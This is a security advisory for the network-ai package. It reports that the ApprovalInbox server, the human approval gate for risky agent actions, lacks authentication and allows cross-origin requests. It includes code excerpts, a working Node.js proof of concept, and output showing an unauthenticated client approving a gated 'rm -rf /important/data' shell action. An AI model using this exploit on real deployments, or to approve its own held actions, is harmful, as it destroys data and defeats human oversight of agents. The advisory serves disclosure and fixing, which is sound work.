Summary
Network-AI: ApprovalInbox HTTP server has no authentication — anyone can approve pending agent actions
Advisory details
Summary
network-ai's ApprovalInbox (lib/approval-inbox.ts) is a shipped, exported, documented feature — "a web-accessible approval queue with REST API … and SSE streaming" (SECURITY.md). It is the network surface of the human-in-the-loop Approval Gate, which ApprovalGate uses to require explicit human approval for "high-risk operations (writes, shell commands, budget spend)" (SECURITY.md). The HTTP server it exposes has no authentication of any kind and sets Access-Control-Allow-Origin: * on every route, including the state-changing POST /approvals/:id/approve and /deny.
As a result, any party who can send an HTTP request to the inbox port — a co-located process, a container/SSRF on the same host, a remote client when the operator binds a non-loopback address, or any website the operator visits in a browser (via the wildcard CORS) — can enumerate pending approvals and approve them, defeating the entire human-in-the-loop control and causing the gated high-risk action (e.g. a shell command the agent was holding for review) to execute without consent.
This is the same vulnerability class the maintainer has already fixed twice on the MCP server (GHSA-fj4g-2p96-q6m3 missing auth; GHSA-j3vx-cx2r-pvg8 empty default secret) — the auxiliary ApprovalInbox server never received that hardening.
- Affected:
network-ai <= 5.11.0(current latest),lib/approval-inbox.ts—httpHandler()/routeRequest()/startServer().ApprovalInboxis public API (exported fromindex.ts:1126). - CWE: CWE-862 (Missing Authorization) + CWE-352 (Cross-Site Request Forgery, via wildcard CORS).
- CVSS v3.1 (proposed):
- Drive-by CSRF against the default
127.0.0.1deployment:AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:N= 5.9 Medium. - Direct request when the operator binds a non-loopback address (or local/SSRF reach):
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N= 8.1 High.
- Drive-by CSRF against the default
Details
No authentication on the request pipeline (lib/approval-inbox.ts)
httpHandler() sets a wildcard CORS policy and routes every request straight to routeRequest() with no auth check:
// lib/approval-inbox.ts:250-275
httpHandler() {
return (req, res) => {
...
res.setHeader('Access-Control-Allow-Origin', '*'); // 256 <-- wildcard CORS
res.setHeader('Access-Control-Allow-Methods', 'GET, POST, OPTIONS');
res.setHeader('Access-Control-Allow-Headers', 'Content-Type');
if (req.method === 'OPTIONS') { res.writeHead(204); res.end(); return; } // preflight OK for any origin
...
this.routeRequest(req, res, subPath, url); // 273 <-- no token / secret / origin gate
};
}
routeRequest() exposes list + approve/deny with no credential check (default pathPrefix = /approvals):
// lib/approval-inbox.ts:369-405
routeRequest(req, res, subPath, url) {
if (subPath === '/' && req.method === 'GET') { // GET /approvals/ -> enumerate pending ids
this.sendJson(res, 200, this.list(status)); return;
}
...
const approveMatch = subPath.match(/^\/([a-f0-9]+)\/approve$/); // POST /approvals/:id/approve
if (approveMatch && req.method === 'POST') {
this.readBody(req).then((body) => {
const approvedBy = typeof body.approvedBy === 'string' ? body.approvedBy : 'anonymous'; // defaults to 'anonymous'
const entry = this.approve(approveMatch[1], approvedBy, reason); // resolves the gate -> action proceeds
...
});
}
}
approve() resolves the pending promise that ApprovalGate is awaiting, so the gated action proceeds:
// lib/approval-inbox.ts:172-183 / 327-339
approve(id, approvedBy, reason) {
...
return this.resolve(id, 'approved', { approved: true, approvedBy, reason }); // promise -> {approved:true}
}
startServer() binds the handler (default 127.0.0.1, but any host the caller passes):
// lib/approval-inbox.ts:281-286
startServer(port, hostname = '127.0.0.1') {
const server = createServer(this.httpHandler());
server.listen(port, hostname);
return server;
}
There is no option to supply a secret/token (unlike McpSseServer/McpHttpServer, which require one and fail closed), and the wildcard ACAO: * is hardcoded — an operator cannot configure their way out of it.
Why the wildcard CORS matters
The two routes needed for exploitation are reachable cross-origin:
GET /approvals/?status=pendingis a CORS simple request;ACAO: *lets a malicious page read the response and learn the pending approval ids.POST /approvals/:id/approvewithContent-Type: application/jsontriggers a preflight, which succeeds because the server answersOPTIONSwithACAO: *,Access-Control-Allow-Methods: …POST…, andAccess-Control-Allow-Headers: Content-Type. The browser then sends the approve.approvedBydefaults to'anonymous', so no special body is required.
So a website the operator merely visits while the inbox is running can enumerate and approve all pending high-risk actions.
Proof of Concept
Self-contained against the published network-ai@5.11.0 package (no project files needed; re-confirmed 2026-06-17). It starts the documented ApprovalInbox server, has an agent submit a high-risk gated action, then acts as an unauthenticated client.
mkdir na-poc && cd na-poc && npm init -y >/dev/null && npm i network-ai@5.11.0
node poc.mjs
poc.mjs:
import { ApprovalInbox } from "network-ai";
import http from "node:http";
const PORT = 7798;
const req = (method, path, body) => new Promise((resolve, reject) => { // plain client — NO Authorization header
const data = body ? JSON.stringify(body) : undefined;
const r = http.request({ host: "127.0.0.1", port: PORT, method, path,
headers: data ? { "Content-Type": "application/json", "Content-Length": Buffer.byteLength(data) } : {} },
(res) => { let b = ""; res.on("data", c => b += c); res.on("end", () => { let j; try { j = JSON.parse(b); } catch { j = b; } resolve({ status: res.statusCode, json: j }); }); });
r.on("error", reject); if (data) r.write(data); r.end();
});
const inbox = new ApprovalInbox();
const gate = inbox.callback(); // what ApprovalGate calls before a dangerous action
inbox.startServer(PORT, "127.0.0.1"); // the documented "web-accessible approval queue"
await new Promise(r => setTimeout(r, 150));
let resolved = false;
const decisionP = gate({ action: "shell_execute", target: "rm -rf /important/data",
agentId: "worker-1", justification: "cleanup", riskLevel: "high" }).then(d => (resolved = true, d));
console.log("Gated dangerous action pending human approval. resolved =", resolved);
const list = await req("GET", "/approvals/?status=pending"); // attacker enumerates pending approvals
const id = list.json[0].id;
const approve = await req("POST", `/approvals/${id}/approve`, { approvedBy: "attacker" }); // and approves one
console.log("[attacker] GET /approvals/ (no auth) ->", list.status, "ids:", list.json.map(e => e.id));
console.log("[attacker] POST /approvals/" + id + "/approve (no auth) ->", approve.status, approve.json?.status);
const decision = await decisionP;
console.log(">>> gate decision delivered to agent:", JSON.stringify(decision), "| WIPED WITHOUT AUTH:", decision.approved && resolved);
Output:
Gated dangerous action pending human approval. resolved = false
[attacker] GET /approvals/ (no auth) -> 200 ids: [ '07d6f277efe35ac1' ]
[attacker] POST /approvals/07d6f277efe35ac1/approve (no auth) -> 200 approved
>>> gate decision delivered to agent: {"approved":true,"approvedBy":"attacker"} | WIPED WITHOUT AUTH: true
The gated action (shell_execute: rm -rf /important/data, riskLevel: high) is approved by a client that sent no Authorization header,
References
Related vulnerabilities
All Supply chain →- HIGHCVE-2026-52800
Gogs Vulnerable to CSRF Leading to Organization Owner Takeover
- HIGHCVE-2026-52799
Gogs Missing Authorization in Attachment Download
- HIGHCVE-2026-50137
Budibase: POST /api/attachments/:datasourceId/url is unauthenticated and lets anonymous callers mint S3 PUT pre-signed URLs using stored datasource IAM credentials
- HIGHCVE-2026-50132
Budibase has an Account Impersonation Issue — Chat Identity Link Hijacking via Missing Consent & CSRF
- MEDIUMCVE-2026-44585
Paymenter has broken object level authorization via service reference manipulation on ticket creation
- MEDIUMCVE-2026-33684
AVideo's Privilege Escalation via Unguarded Permission Parameters in signUp API Allows Self-Granting Upload/Stream/Meet Permissions